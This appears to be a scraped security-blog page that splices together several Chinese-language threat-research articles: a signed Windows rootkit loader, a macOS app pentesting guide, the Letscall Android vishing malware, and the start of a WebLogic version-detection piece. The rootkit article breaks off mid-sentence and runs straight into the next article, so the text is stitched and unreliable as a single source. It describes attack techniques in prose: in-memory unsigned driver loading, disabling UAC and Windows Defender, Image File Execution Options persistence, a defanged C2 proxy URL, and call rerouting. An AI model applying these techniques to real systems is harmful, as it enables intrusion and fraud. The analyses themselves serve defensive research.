Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109814

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

我們會在本文對一個帶簽名的rootkit進行分析,它的主要二進制函數是一個通用加載程序,使攻擊者能夠直接加載第二階段的未簽名內核模塊。

在趨勢科技最近的一次調查中,研究人員發現了一個有趣的攻擊活動,他們最初認為這是檢測微軟簽名文件時的誤報。然而,追踪發現,這是一個新出現的簽名rootkit,它與一個大型命令和控制(CC)基礎設施通信,用於我們目前正在跟踪的未知攻擊者,我們認為這與rootkit FiveSys背後的攻擊者相同。其攻擊目標是中國的遊戲行業。惡意軟件似乎已經通過了Windows硬件質量實驗室(WHQL)獲得了有效簽名。 WHQL簽章要求確保所有驅動程序是獲得OS廠商驗證及簽章,但這類簽章無法保證出於真正App開發商之手。這顯示惡意程序作者想利用微軟簽章制度,讓用戶誤以為它是合法驅動程序而安裝。研究人員已在2023年6月向微軟安全響應中心(MSRC)報告了他們的發現。

主二進製文件充當通用加載程序,允許攻擊者直接加載第二階段未簽名內核模塊。每個第二階段插件都是針對部署它的受害設備自定義的,有些甚至包含針對每台設備的自定義編譯驅動程序。每個插件都有一組要從內核空間執行的特定操作。

發現的變體由八個主要集群組成,這些集群基於從簽名(Authenticode)中的SPC_SP_OPUS_INFO字段中提取的特定於供應商的元數據,揭示了這些變體代表其簽名的各種發布者。

1.png

每個集群中的示例數量

2.png

2022年和2023年使用微軟門戶網站簽署的驅動程序數量

攻擊者目前使用不同的方法對其惡意內核驅動程序進行簽名,通常包括:

濫用微軟簽名門戶;

使用洩露和被盜的證書;

使用黑市服務;

接下來,我們將介紹一種明顯遵循第一種方法的攻擊:濫用WHQL在惡意驅動程序上獲得有效簽名,該惡意驅動程序可以在最新的Windows版本上成功加載。我們還將提供這種新發現的惡意軟件的技術細節,該惡意軟件是由微軟直接簽名的獨立內核驅動程序,這是一種不斷發展的攻擊技術,現在出現的非常頻繁。儘管構建這樣的能力非常複雜,但當前的攻擊者似乎很熱衷於這些工具、策略和程序(TTP)。

3.png

作為獨立內核驅動程序由Microsoft直接簽名的惡意軟件

WHCP濫用史下圖顯示了Windows硬件兼容性程序(WHCP)濫用史,這些報告導致了Windows內核信任模型的妥協。 2021年6月,Netfilter rootkit被報導,之後微軟發布了一份報告,詳細說明它被用作遊戲社區中地理定位作弊的手段。 Bitdefender隨後在2021年10月披露了FiveSys,這是一個主要用於在線遊戲玩家的rootkit,主要目的是竊取憑證和在遊戲中購買劫持。最後,Mandiant報告了已知的最後一次濫用,揭露了Poortry惡意軟件,該惡意軟件已被用於許多網絡攻擊,包括基於勒索軟件的事件。

4.png

WHCP發生時間表

現代rootkit的檢測方法在引入內核模式代碼簽名(KMCS)策略機制的時代,隨著64位簽名驅動程序的數量增加,現在尋找64位簽名的rootkit並不那麼容易,如下圖所示。由於現代內核rootkit的開發成本更高,而且將內核rootkit納入其惡意軟件庫的技術能力不足,或者可以訪問繞過新Windows版本中添加的安全防御所需的技術,這使得檢測這類攻擊變得更加困難。

5.png

2015年前後檢測到的一次以上已簽名驅動程序總數

如下圖所示,研究人員根據以下內容評估了Windows內核驅動程序示例:

他們簽署的驅動程序簽名被吊銷;

它們有一個或多個基於惡意軟件搜索引擎的誤報檢測,包括VirusTotal惡意軟件存儲庫:

Set 1:未被吊銷且無誤報檢測的已簽名驅動程序;

Set 2:未被吊銷且有一個或多個來自不同引擎的誤報檢測的已簽名驅動程序;

Set 3:已被吊銷且無誤報的簽名驅動程序;

Set 4:已被吊銷的簽名驅動程序,其中包含來自不同引擎的一個或多個誤報。

6.png

Windows內核驅動程序基於其簽名驅動程序被吊銷或以其他方式進行採樣,並且它們具有一個或多個誤報檢測。

從Set 1和Set 2中尋找新的示例提交以查找攻擊這樣就可以研究這個新出現的示例集群和服務於第二階段插件的底層CC基礎設施。

7.png

從2020年到2022年5月,屬於示例Set 2的內核驅動程序提交數量增加

第一階段分析根據從這次活動中收集的示例,我們確定了兩個不同的集群,它們的示例之間有多個相似之處。研究人員觀察到一種模式,即使用VMProtect對一些示例進行模糊處理,然後在沒有任何模糊處理的情況下對具有更多功能的較新示例進行簽名,這表明這些示例背後的攻擊者仍處於測試和開發階段。

8.png

有很多相似之處的兩個不同集群

大多數示例都是“Microsoft Windows Hardware Compatibility Publisher”簽名的驅動程序。下面我們將對第一個集群中的一個示例進行分析。

驅動程序首先檢查加載到內存中的驅動程序上是否有另一個實例,方法是嘗試打開由驅動程序在初始化期間創建的符號名稱“\?\ea971b87”。如果成功打開,DriverEntry返回的錯誤代碼“0FFFFCFC7”將停止加載驅動程序。然後,如果驅動程序尚未加載,它將創建一個符號名稱“\?\ea971b87”,並初始化其處理程序的函數。基於我們觀察到的當前變體,它僅使用“IRP_MJ_DEVICE_CONTROL”和“IRP_J_SHUTDOWN”。

9.png

檢查驅動程序是否已經加載

10.png

初始化IO處理程序

11.png

註冊關閉通知處理程序

然後,驅動程序檢查二進制編譯是調試構建還是發布,如下圖所示。在調試構建的情況下,它在整個執行過程中打印一些調試消息,這表明目前的產品仍在開發和測試中。然後,驅動程序通過編輯註冊表禁用用戶帳戶控制(UAC)和安全桌面模式,並初始化Winsock內核(WSK)對象,以啟動CC服務器的網絡活動。

12.png

檢查編譯是否是調試構建的

13.png

禁用UAC然後初始化WSK對象

14.png

從“IRP_J_DEVICE_CONTROL”設備控制處理程序掛接文件系統堆棧

第一階段網絡初始化第一階段驅動程序負責與CC服務器之間的所有網絡通信。它使用WSK(一種內核模式的網絡編程接口)從內核空間啟動所有通信。使用WSK,內核模式軟件模塊可以使用用戶模式Winsock2支持的相同套接字編程概念執行網絡I/O操作。

它使用域生成算法(DGA)生成不同的域。如果它無法解析地址,它會直接連接到硬編碼在驅動程序內部的輻射ip,它連接到端口80上的驅動程序,並創建一個TCP套接字用於通信。

15.png

wsk創建的套接字類型

16.png

解析DNS

17.png

解析DNS

18.png

來自第一階段驅動程序的DNS請求

19.png

連接CC服務器

然後,它定期連接到CC服務器以獲取配置。它可以選擇作為內核驅動程序加載程序:

它逐字節地接收來自CC服務器的數據;

它對接收到的數據進行解碼和解密;

它將接收到的內核驅動程序直接加載到內存中,而不將其寫入磁盤;

它解析接收到的可移植可執行文件(PE)並執行所有重新定位;

它調用驅動程序入口點;

這樣,內核插件就永遠不會接觸磁盤,只會在內存中,這使得它更隱蔽,並使其能夠繞過檢測。

20.png

解碼從CC服務器接收到的數據

21.png

接收第一階段的配置

22.png

解析用於加載新接收到的驅動程序的函數地址

23.png

獲取驅動程序入口地址

24.png

調用驅動程序入口函數

第二階段插件下載的第二階段驅動程序是自簽名的,因為它完全由第一階段加載程序加載,繞過Windows本機驅動程序加載程序。因此,不需要對這些第二階段的變體進行簽名。它打開文件“C:\WINDOWS\System32\drivers\687ae09e.sys”,然後讀取數據並對其進行編碼。然後,它將數據劃分為內存塊並將其寫入註冊表路徑“\ registry \Machine\Software\PtMyMem”及其大小和MD5。之後,它從磁盤中刪除文件“C:\WINDOWS\System32\drivers\687ae09e.sys”。

25.png

第二階段的自簽名驅動程序

26.png

讀取文件

27.png

文件信息

28.png

註冊表中的編碼文件

29.png

刪除寫入磁盤的文件

實現持久性第一階段關閉通知函數檢查是否已從CC服務器接收到內核插件並將其加載到內存中,以便進行清理。它還檢查註冊表項“\ registry \Machine\Software\PtMyMem”,如果它出現,則迭代其所有子鍵並解碼數據,將其寫入磁盤“C:\WINDOWS\System32\drivers\687ae09e”。 sys”路徑。最後,它創建一個名為“BaohuName”的服務,該服務將在系統再次啟動時運行。

第一階段和第二階段(從CC服務器下載的插件)作為攻擊者自我保護和持久性方法的一部分協同工作。該技術與從CC服務器下載的內核插件相結合,將成為該驅動程序的主要持久性機制。對這個特定的第二階段插件的詳細分析如下:

第一階段驅動程序連接CC服務器並下載第二階段驅動程序;

第二階段驅動程序從磁盤讀取第一階段驅動程序並將其寫入註冊表,然後從磁盤刪除;

第一階段和第二階段的驅動器只存在於內存中;

在重新啟動之前,執行第一階段關閉通知例程;

關機例程將從註冊表中自我讀取,自我寫回磁盤,並創建一個服務,該服務將在下次系統重新啟動時啟動。

Defender停止器插件此驅動程序的主要目標是停止Windows Defender。它首先從註冊表項“HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender”禁用反間諜軟件檢測,禁用“SecurityHealthService”服務,並停止殺毒檢測。

30.png

停止反間諜軟件檢測

31.png

停止“SecurityHealthService”服務

32.png

禁用殺毒檢測

然後在“映像文件執行選項”註冊表中為所有Windows Defender進程添加一個條目,因此當其中任何一個進程崩潰時,另一個進程將啟動。將啟動的可執行文件是“C:\\Users\\Administrator\\Desktop\\111111111.exe”,這表明這些插件是自定義的,攻擊者正在根據需要積極開發新的插件。它最終會終止所有Windows Defender進程。

33.png

將條目添加到映像文件執行選項

34.png

映像文件執行中的調試器值

35.png

映像文件執行中的調試器值

36.png

Windows Defender進程

37.png

終止進程

代理插件此插件負責在設備上安裝代理,並將web瀏覽流量重定向到遠程代理設備。它首先編輯Windows代理配置“hxxp[:]//4dpyplftay8g90qb7l.kkvgsytcw4hsn3g0nc5r[.]xyz:17654/api/pac/PacReback?key=10252”。

38.png

編輯的Windows代理配置

然後,它在瀏覽器中註入一個JavaScript,根據

微信截图_20230717074204.png網上有很多關於Windows和Linux滲透測試應用程序的指南和信息。不幸的是,在macOS中沒有一個幫助我們完成滲透測試的指南。這意味著我們必須花費更多的時間在網絡上搜索,並嘗試不同的工具和技術,來找到最有效的測試方法。隨著macOS及其應用程序的普及,針對它們的攻擊越來越多。為了確保這些應用程序的安全性,需要進行滲透測試。

首先,我們將定義什麼是macOS應用程序。此外,我們將用Swift編程語言創建一個簡單的應用程序,並配置應用程序沙盒功能。它還涵蓋了基本的GUI和網絡測試,包括Burp Suite的配置以及SIP與此的關係。

應用程序結構讓我們從定義什麼是macOS應用程序開始,macOS應用程序是為在蘋果的macOS操作系統(以前的OS X)上運行而設計的軟件,它由一組文件和資源以特定格式捆綁在一起,通常有一個用戶界面。一些流行的macOS應用程序包括Safari、Chrome和Word。 Swift和Objective-C是創建macOS應用程序最常用的編程語言,但macOS也支持其他語言,如C和c++。

許多應用程序都是從App Store獲得的,但用戶也可以選擇從第三方資源下載和安裝應用程序。安裝後,應用程序通常位於/Applications或~/Applications路徑,但也可以存儲在其他位置。例如,系統應用程序是通過/system/applications路徑訪問的。需要注意的是,macOS應用程序可以通過查找“.app”擴展來區分,並存儲為包,也稱為應用程序包(Application Bundle):包(bundle)是一個具有標準化層次結構的目錄,通常包含可執行代碼和該代碼使用的資源。包扮演著許多不同的角色:應用、應用擴展、框架和插件都是包。包也可以包含其他包。

雖然包在Finder中顯示為單個文件,但它實際上是一個目錄。要查看應用程序的內容,右鍵單擊文件名並選擇“顯示包內容”。在Content目錄中,你可以找到如下所示的幾個子目錄:

1.png

應用程序內容

macOS應用程序包的基本結構包括以下內容:

Info.plist:這個文件包含應用程序的配置信息,例如包標識符和包版本;

MacOS:這個目錄包含主要的可執行文件;

Resources:該目錄包含應用程序的資源,如圖像、本地化和接口文件;

你可以在應用程序包中找到的其他目錄:

Frameworks:此目錄包含由主可執行文件加載的框架和動態庫;

Plugins:這個目錄包含應用程序擴展和插件,它們是擴展應用程序功能的軟件組件。插件通常作為共享庫開發,提供特定應用程序定義的API和接口。他們可以為特定的應用程序添加新功能,例如提高殘疾人可用性的無障礙插件。另一方面,擴展是一種修改操作系統行為的插件,例如向Spotlight搜索功能添加新功能;

Library:此目錄可能包含各種子目錄,包括:

LaunchServices:該目錄包含由服務管理框架安裝的特權助手工具,這些工具允許應用程序和進程執行需要管理權限的系統級任務。它們在後台運行,使用進程間通信(IPC)機制(如Mach消息或XPC)與主應用程序通信。這些工具通常作為啟動守護進程或啟動代理實現,負責管理後台進程。應用程序代理在用戶登錄時啟動並繼續在後台運行,而應用程序守護進程則從系統啟動開始在後台持續運行,它們分別在/Library/LaunchAgents和/Librare/LaunchDaemons中的plist文件中定義。

SystemExtensions:該目錄包括系統擴展,允許網絡擴展和端點安全解決方案等軟件在不需要內核級訪問的情況下擴展macOS的功能。如今,這些擴展被用作內核擴展(kext)的替代方案。

XPCServices:該目錄包括macOS應用程序中用於實現進程之間通信的XPC服務。 XPC服務被實現為一個單獨的二進制可執行文件,它在後台運行,可以由多個進程使用。

完整的列表可以在蘋果的文檔中找到。

虛假應用程序我們搜索了一個包含一些錯誤配置的虛假應用程序,例如:

網絡上未加密的數據;

各種應享權利;

無效的代碼簽名;

加載可被劫持的dylib;

但是我們找不到一個適合我們需要的,因此,我們決定創建自己的應用程序。

2.png

虛假應用程序

幸運的是,我們發現了一個有趣的博客,在整個Swift語言應用程序開發過程中為我們提供了有用的指導。

在構建我們的應用程序時,除了一個基本的應用程序外,我們還添加了一些代碼,其中包括向服務器發送HTTP請求的功能。

你可以在下面找到“複雜”應用程序的代碼(代碼片段1):

3.1.png

3.2.png

代碼片段1:虛假應用程序代碼

通過在Xcode中創建一個新的macOS應用程序,它將獲得應用程序沙盒權限和默認功能集。

為了允許我們的應用程序創建網絡請求,我們添加了一個用於輸出連接的功能,該功能將com.apple.security.network.client授權添加到我們的應用程序中。

4.webp.jpg

Xcode中的應用沙盒功能

應用程序沙盒限制訪問系統資源和macOS應用程序中的用戶數據,可以通過授權進行訪問。

功能和授權是決定應用程序權限和訪問級別的兩種機制。功能定義了應用程序需要使用的功能,比如攝像頭或互聯網。同時,授權授予應用程序與操作系統和其他應用程序交互的訪問權限。

對於某些操作,我們需要添加特定的功能,例如:

為了訪問互聯網,我們添加了傳入/傳出連接的功能,這將自動為應用程序提供com.apple.security.network.*權限。

為了訪問硬件,例如內置攝像頭,我們添加了特定硬件的功能,該功能為應用程序提供了com.apple.security.device.*權限。

為了訪問文件,我們添加了特定文件和權限的功能,為應用程序提供了com.apple.security.files.*權限。

默認情況下,在macOS 10.15或更高版本中,所有Mac應用程序必須經過蘋果的“公證”才能啟動。請參閱蘋果文檔公證macOS軟件之前發布的更多細節。如果我們必須通過App Store傳播應用程序,則需要通過額外的安全檢查進行公證。

我們可以通過以下步驟查看虛假應用的應用包:

點擊Xcode菜單中的“Product”;

選擇“Archive.”;

右鍵單擊並從上下文菜單中選擇“在Finder中顯示”;

GUI測試與Windows和Linux客戶端一樣,第一步將是識別常見的用戶輸入界面,並測試它們的安全漏洞,例如SQL注入或跨站點腳本。

此外,了解應用程序的行為和功能也是必不可少的。這包括了解應用程序如何處理用戶輸入,它存儲和收集什麼數據,以及它如何與外部系統交互。

網絡測試分析應用程序和服務器之間的網絡通信對於滲透測試至關重要。我們可以通過檢查網絡流量來檢測未經加密或通過不安全通道傳輸的敏感信息。

然而,在macOS中,我們默認啟用SIP。首先,讓我們了解SIP是什麼。

系統完整性保護SIP(系統完整性保護)是一種安全功能,可防止惡意軟件修改Mac系統上受保護的文件和文件夾。它限制了root用戶帳戶,並限制了root用戶可以在操作系統的受保護部分執行的操作。

系統完整性保護包括幾種機制,包括:

文件系統保護:防止對/System、/sbin、/bin和/usr目錄以及某些系統文件和文件夾進行任何修改。

運行時保護:SIP限制了附加調試器和防止代碼注入的能力。

內核擴展保護:將內核擴展(kext)的安裝限制為僅限蘋果批准和簽署的內核擴展。

macOS中的SIP機制阻止我們監控網絡活動,因此禁用SIP對於我們的需求是必要的。我們不建議禁用SIP,但我們將禁用它進行測試。

要禁用SIP,請遵循以下步驟,在恢復模式下從實用程序菜單中啟動終端,運行命令csrutil disable並重新啟動macOS。使用用戶身份登錄後,打開終端並執行命令csrutil status,查看SIP是否成功關閉。

重要的是要記住,禁用SIP可能會使你的系統容易受到惡意攻擊,因此請確保在完成研究後重新啟用它。你可以按照上面提到的相同步驟啟用SIP,但不是運行csrutil disable,而是運行csrutil enable。

既然SIP已被禁用,我們就可以繼續配置代理來攔截和分析虛假應用程序的網絡活動。

為此,我們將使用BurpSuite工具,它將允許我們攔截、操縱和分析web應用程序與其服務器之間的HTTP和HTTPS流量。

下面是在macOS系統上配置代理的步驟:

1.下載並安裝BurpSuite:你可以從PortSwigger網站下載該工具,安裝很簡單;

2.配置BurpSuite代理:為此,我們將導航到“Proxy”選項卡並選擇“Options”選項卡。在這裡我們將設置一些選項,例如代理偵聽器和端口。在下一步中,我們應該以.der格式導出Burp證書,並將其保存在某個本地文件夾中。

5.webp.jpg

導出Burp證書

3.安裝導出的證書並允許系統使用它:

6.webp.jpg

將證書安裝到系統

4. 配置macOS網絡設置:

要執行此操作,請導航到“系統首選項”菜單並選擇“網絡”。此時,我們將選擇網絡適配器並單擊“高級”按鈕。在“高級”菜單中,我們將選擇“代理”選項卡並配置代理設置。我們將代理類型設置為“HTTP”,代理服務器設置為“127.0.0.1”,我們還將端口設置為“8080”。

7.webp.jpg

代理配置

5. 驗證代理配置:我們可以啟動一個網絡瀏覽器並導航到一個隨機的網站來驗證一切是否正常。然後,我們將返回到BurpSuite工具,並驗證網絡活動是否已被捕獲。

Wireshark此外,還可以使用Wireshark進行網絡流量分析。

Wireshark是一種網絡協議分析器,可以捕獲和分析網絡流量。我們可以使用它來檢測網絡通信中的安全弱點,例如明文密碼、不安全的協議和敏感信息。

8.webp.jpg

Wireshark未加密的流量

總結我們了解了macOS應用程序及其結構,並演示瞭如何構建虛假應用程序。我們還討論了SIP以及如何配置常用的網絡攔截工具。

在下一部分,我們將深入研究文件和二進制分析,包括代碼簽名機制、強化的運行時異常和授權。此外,我們還將介紹一些用於這些目的的幾種工具和技術。

Vishing即語音釣魚,是網路釣魚(Phishing)的電話版本。黑客們利用語音釣魚的方式,在短短的幾分鐘內就可清空人們的賬戶。近年來,隨著Vishing的興起,人們便不再信任未知號碼呼叫。

比如,接到冒充銀行員工的聯繫人打來的電話是非常令人討厭的,最近研究人員遇到了一組以前從未見過的惡意應用程序,開發者將其稱為“Letscall”,目前針對的是來自韓國的個人用戶。從技術上講,沒有任何規定禁止他們將攻擊範圍擴大到歐盟國家。換句話說,我們正在處理一個隨時可用的框架,任何攻擊者都可以使用它,因為它包含了關於如何操作受影響設備以及如何與受害者溝通的所有說明和工具。

該組織可能包括:熟悉現代VOIP流量路由概念的Android開發人員,我們稱其為“開發人員”,因為我們在其中一個階段觀察到命令命名的差異。

設計人員負責網頁、圖標以及管理面板、網絡釣魚網頁和移動惡意應用程序的內容。

前端開發人員熟悉JavaScript開發,包括VOIP流量處理。

後端開發人員熟悉保護後端API免受未經授權訪問的技術。

呼叫具有語音社會工程攻擊技能的接線員,他們可以流利地說不同的語言。

攻擊分為三個階段:受害者訪問一個特別製作的釣魚網頁,看起來像Google Play Store。受害者從該頁面下載惡意應用程序鏈的第一階段。

第一階段(我們稱之為下載程序)在設備上運行準備工作,獲得必要的權限,打開釣魚網頁,並安裝第二階段惡意軟件,該惡意軟件將從控制服務器下載。

第二階段是一個強大的間諜軟件應用程序,它將幫助攻擊者竊取數據,並將受攻擊的設備註冊到P2P VOIP網絡中,該網絡用於通過視頻或語音通話與受害者通信。此應用程序還會釋放第三個階段,即鏈的下一個部分。

letcall使用WEBRTC技術來路由VOIP流量,並將受害者與呼叫中心操作員連接起來。為了達到最大的電話或視頻通話質量,並克服NAT和防火牆,Letscall使用STUN/TURN方法,包括Google STUN服務器。

第三階段是第二階段惡意軟件的配套應用程序,並擴展了一些功能,它包含電話呼叫功能,用於將呼叫從受害者設備重定向到攻擊者呼叫中心。

1.png

Vishing技術迭代過程

這種釣魚攻擊已經發展得非常先進和復雜了,因為欺詐者現在使用現代技術進行語音通信路由和自動呼叫受害者的系統(所謂的自動竊取者,用於通過電話自動廣告),並播放預先錄製的誘惑信息。如果受害者上鉤了,接線員就會接起電話,引導受害者按照騙子的要求行事。攻擊者可能會欺騙受害者到最近的自動取款機取現金,或者迫使受害者披露個人信息,如銀行賬戶數據、信用卡詳細信息或銀行憑證。

在過去的幾年裡,這種攻擊已經成為一種明顯的趨勢,沒有證據表明欺詐者會放棄該方法。

如今,受害者和安全行業都在發展,並通過各種防禦機制對抗這種攻擊。使用呼叫者識別應用程序或了解欺詐者策略可能足以抵禦攻擊者。

這可能是欺詐者試圖利用他們所掌握的任何類型的信息,而不僅僅是使用姓名和電話號碼來獲得受害者信任的原因之一。為了獲得更高級別的信任,攻擊者通過訪問受害者設備對受害者進行偵察。

將這兩種類型的攻擊(手機攻擊和Vishing)結合起來,欺詐者可以“一舉兩得”:我們觀察到的一種常見攻擊類型包括在請求受害者小額貸款。如果受害者註意到一些不尋常的活動,攻擊者將打電話給受害者,冒充銀行安全小組的成員,並向受害者保證沒有什麼可擔心的。

在完全控制受攻擊設備的情況下,攻擊者還會將任何呼叫重新路由到由攻擊者管理的另一個呼叫中心。如果受害者決定聯繫銀行並詢問與可疑活動有關的問題,準備充分的接線員將接聽電話。使用這種作案手法,攻擊者還可能要求受害者提供更多細節,以幫助他們進行犯罪活動並完成資金轉移。

這種攻擊是非常危險的,因為受害者必須償還貸款,金融機構可能不會關心這種攻擊和設備攻擊,從而降低了調查潛在欺詐攻擊的可能性。這就是為什麼這樣的攻擊應該被業界披露和報告的原因。

對於“letcall”惡意軟件的所有三個階段,攻擊者都使用了強大的逃避檢測技術。一些版本的下載程序使用騰訊Legu模糊處理或Bangcle(SecShell)進行了保護。對於第二和第三階段,使用了ZIP文件目錄樹中的長名稱和清單攻擊技術。 Checkpoint最近也報導了同樣的技術。然而,從代碼和基礎設施的角度來看,這些活動是不同的。攻擊者有可能彼此分享知識,或者受到同一地區其他攻擊者的影響。

“Letscall”第二和第三階段規模巨大,我們的研究仍在進行中。然而,我們現在想提供一些見解。

下載程序目前還不知道攻擊者如何說服受害者訪問可以找到下載程序的誘餌網頁,這可能是一種黑化的SEO技術或使用垃圾郵件的社會工程。到目前為止,我們知道這些頁面模仿了Google Playstore,並針對移動屏幕分辨率進行了優化。這裡一個值得注意的細節是頁面的語言為韓語。

2.png

從技術角度來看,使用的下載程序是相對簡單的應用程序,有時使用我們稍後將描述的自定義技術。下載程序的目標是做兩件事:下載並運行第二階段應用程序。有效負載的URL地址被硬編碼到應用程序中。

3.webp.jpg

打開帶有網絡釣魚窗口的web視圖,該窗口也硬編碼到應用程序中。

這些頁面會因正在進行的傳播活動而有所不同,研究人員發現至少有3個頁面模仿了Banksala(貸款比較聚合器)、Finda(貸款對比聚合器)和KICS(韓國刑事司法服務信息系統)。

4.png

每個頁面都會誘使受害者輸入敏感信息,如居民註冊號(身份證)、電話號碼、家庭地址、工資大小和雇主姓名。該輸入數據將自動發送給攻擊者。同樣的數據也被輸入到貸款聚合器的原始網頁中。我們可以非常肯定地說,攻擊者要么會使用竊取的數據在合法網站上填寫類似的表格來申請貸款,要么也可能是網絡釣魚頁面在受害者和貸款聚合頁面之間充當代理:

5.png

第二階段乍一看,這個應用程序顯然是非常模糊的,要分析它的功能需要很長時間。讓我們來看看其中的每一種技術:

1.APK文件中包含長路徑名。一些分析系統將無法處理提取此類APK文件的內容。

6.webp.jpg

2.XML文件攻擊。

3.代碼打包:核心DEX文件不包含清單中列出的代碼。然而,它包含模糊代碼,這些代碼將從APK收集文件,對其進行解密並加載。這些文件位於APK文件的根目錄中,它們的名稱以“o”開頭,以“bf”結尾,即“obf”或模糊處理:

7.webp.jpg

所有的文件都有相似的標題和相對較低的熵。

8.png

甚至還隱藏了一些字符串:

9.webp.jpg

經過一些修改之後,很明顯,這幾十個文件都是DEX文件,只是在它們的標頭文件中做了微小的修改。通過觀察文件第一個字節中重複的0x1f值,我們可以猜測,為了隱藏原始標頭,使用了一個字節的異或加密,並且只加密了文件的0x64字節。

我們重建了APK文件並分析了代碼。在第一步分析之後,我們意識到我們面臨著一些重大問題。

10.webp.jpg

由此產生的APK文件基於十幾個不同的框架,包括okhttp3和butterknife等流行的框架,以及我們第一次觀察到的一些庫。

最有趣的庫是im/zego。

第二階段濫用合法服務ZEGOCLOUD作為IP語音通信和消息傳遞的提供商。為了處理這種依賴於WEB RTC的通信,攻擊者使用中繼服務器。特別使用的公開可用的STUN/TURN服務器,包括來自Google的服務器,以及自配置的服務器。在此過程中,他們還竊取了應用程序代碼中的憑據。

11.png

需要這樣的功能來執行呼叫中心運營商和受害者之間的P2P語音/視頻連接,並且相同的信道也用於具有許多不同命令的C2通信。此外,該惡意軟件還支持使用網絡套接字進行通信。來自P2P服務和web套接字通信的命令有時會相互重複,共涉及32個命令。

為了過濾數據並更改配置,惡意軟件使用傳統的http通信:

13.webp.jpg

攻擊者還可以對需要重定向的電話號碼配置白名單,對需要繞過重定向的電話號碼配置黑名單。

我們注意到的另一件有趣的事情是nanoHTTPD的使用,這個應用程序創建一個本地http服務器,然後打開Chrome瀏覽器進行訪問。

14.webp.jpg

通過濫用可訪問性服務,它將把必要的界面元素推入Chrome,並將第三階段的惡意軟件傳遞給受害者。這種更複雜的方法被用來以更有效的方式欺騙受害者。

第三階段從技術角度來看,安裝的下一個APK文件看起來與第二階段APK非常相似,使用了相同的逃避檢測技術,並且相同的xor加密DEX文件位於APK文件的根文件夾中。此應用程序還包含一個大型代碼庫:

15.webp.jpg

第三階段最有趣的部分是名為“phonecallapp”的包,該包包含負責電話操縱攻擊的代碼,它將攔截傳入和傳出的呼叫,並根據攻擊者的願望重新路由。

為了配置處理電話呼叫的方式,攻擊者使用具有以下結構的本地SQLite數據庫:

16.webp.jpg

在第三階段APK的資產中,已經準備好了MP3語音信息,如果有人試圖撥打銀行電話,就會播放給受害者。

17.webp.jpg

對於攻擊者來說,他們的目標顯然是模仿客戶給銀行打電話時的體驗。

第三階段有自己的一組命令,其中還包括Web套接字命令。

其中一些命令與地址簿的操作有關,例如創建和刪除聯繫人。其他命令涉及創建、修改和刪除過濾器,這些過濾器確定哪些調用應該被攔截,哪些應該被忽略。

基礎設施18.png

在我們獲得Downloader之後,我們開始分析C2服務器並分析了管理面板。

19.webp.jpg

與許多不同的WEB應用程序一樣,它由兩部分組成。

基於VueJS的前端,用於向攻擊者提供可視化內容;

基於Laravel PHP框架的後端,使用API與前端和惡意應用程序通信;

前端是最有趣的部分,因為它為管理員和電話接線員提供了一個功能齊全的工作帳戶。從這個面板中,電話接線員可以選擇受害者,並直接從瀏覽器開始視頻/音頻對話。運營商還可以看到從目標洩漏並上傳到基礎設施的完整詳細信息列表。它由至少33000個代碼字符串組成。

我們確定了操作員可以使用的至少19個與受攻擊設備控制相關的菜單:

20.webp.jpg

此JavaScript應用程序將使用與兩個階段的應用程序相同的VOIP基礎設施,這些服務器列在管理面板配置文件中:

21.webp.jpg

值得注意的是,前端應用程序包含所謂的教程和演示。 ThreatFabric能夠下載其中的兩個。在這些視頻中,我們可以觀察到完整的攻擊鏈以及它是如何在野外發生的。它們可能是為了方便電話接線員,從受害者的角度向他們展示攻擊過程,並使他們能夠回答受害者可能提出的問題。

22.png

在分析了前端面板之後,我們發現了後端的各種API。攻擊者將他們分為兩大類:

Admin—負責管理操作員對管理面板的訪問的API,

sys-user—負責從後端基礎設施檢索數據並控制受感染設備的API。

Admin面板代碼還顯示了一些圖片和音頻文件,音頻文件與我們在第三階段應用程序中看到的相同。

另一方面,圖片為我們提供了一些額外細節,例如可能支持四種語言:英語、韓語、日語和中文。

23.webp.jpg

一些圖片包含元信息,比如它們被創建的時間(2022-12-02 15:22)。此外,還提供了一個時區:+8。這個時區對應的是南亞國家,包括中國。

24.webp.jpg

我們還觀察了幾個韓國金融機構的名稱,這些名稱將在攻擊中被使用。

總結在分析了“letcall”惡意軟件活動後,研究人員確定這是一個熟悉Android安全和現代語音路由技術的網絡犯罪組織。該組織證明,技術上精心設計的社會工程攻擊仍然極其危險。該組織致力於使用虛假的Google Play頁面,竊取現有韓國應用程序的圖標,並結合使用nanoHTTPD的新技術來減少有效負載。

居民登記號碼(或身份證)盜竊可以為網絡攻擊者攻擊打開方便之門,我們看到,隨著政府、私人和公共機構越來越多地採用電子身份證解決方案,這種攻擊方式只會增加。重複使用其他攻擊者使用的相同逃避檢測技術在亞洲攻擊組織中很常見。

從網絡分析的角度來看,觀察另一種控制殭屍網絡並將流量隱藏在WEB RTC服務內部的方法是很有趣的。這突出了這樣一個事實,即無論使用的是私人服務器還是谷歌STUN服務器,此類流量都應該始終由保護系統進行分析。

關於“letcall”應用程序,我們討論了多功能間諜軟件,該軟件的設計密切關注與受害者的視頻和音頻連接,以及攔截短信和電話等通信。基於其代碼中包含的許多不同特性,letcall可以被歸類為RAT。 RAT允許攻擊者了解受害者的所有信息,並執行有效的社會工程攻擊。

最後,一些設計良好的基礎設施可能會被講不同語言的電話運營商使用。研究人員預測,這樣的工具包可以作為MaaS(惡意軟件即服務)在暗網上傳播。

為了保證安全,我們需要拒絕任何可疑應用程序的訪問。

0x00 前言本文將要介紹WebLogic版本探測的兩種方法,通過Python實現自動化,記錄開發細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路探測WebLogic版本的方法有以下兩種:

1.通過Web頁面WebLogic Admin Console默認配置下的URL:http://

在返回結果中能夠獲得WebLogic的版本

這裡需要注意以下問題:

(1)需要區別早期版本

早期版本的返回結果示例:

目前常用版本的返回結果示例:

WebLogic Server Version: 14.1.1.0.0

(2)WebLogic Admin Console對應的路徑和端口可被修改

WebLogic Admin Console可被關閉,也可修改URL,修改方法有以下兩種:

通過瀏覽器訪問WebLogic Admin Console,在Configuration-General-Advanced設置,如下圖

下载.png通過配置文件設置,默認路徑:Oracle_Home\user_projects\domains\base_domain\config\config.xml,內容如下:

微信截图_20230303173426.png

(3)關閉WebLogic Admin Console的情況

如果關閉了WebLogic Admin Console,訪問URL:http://

